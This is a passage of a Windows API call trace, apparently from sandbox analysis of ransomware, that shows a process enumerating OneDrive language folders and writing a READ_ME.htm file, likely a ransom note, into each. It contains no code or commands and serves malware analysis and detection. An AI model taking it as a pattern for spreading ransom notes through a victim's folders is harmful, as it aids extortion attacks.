nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.039] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1146290, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1146290, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x118b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.040] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\th\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\th\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.040] GetFileType (hFile=0x1d0) returned 0x1 [0146.056] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.059] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1146290, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.060] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1276d90, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1276d90, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.061] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ti\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ti\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.061] GetFileType (hFile=0x1d0) returned 0x1 [0146.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.063] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1276d90, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.064] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf13a7890, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf13a7890, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.064] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tk-tm\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tk-tm\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.066] GetFileType (hFile=0x1d0) returned 0x1 [0146.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf13a7890, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf14fe4f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf14fe4f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x144b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.071] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tn-za\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tn-za\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.072] GetFileType (hFile=0x1d0) returned 0x1 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf14fe4f0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.074] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1655150, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1655150, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.075] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tr\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tr\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.075] GetFileType (hFile=0x1d0) returned 0x1 [0146.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1655150, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.078] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.079] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf17f8070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf17f8070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.079] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\tt\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\tt\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.079] GetFileType (hFile=0x1d0) returned 0x1 [0146.081] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.082] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf17f8070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.084] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1928b70, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1928b70, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0146.085] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ug\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ug\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.086] GetFileType (hFile=0x1d0) returned 0x1 [0146.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf1928b70, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0146.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1a59670, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf1a59670, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf1a59670, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x128b0, dwReserved0=0x0, 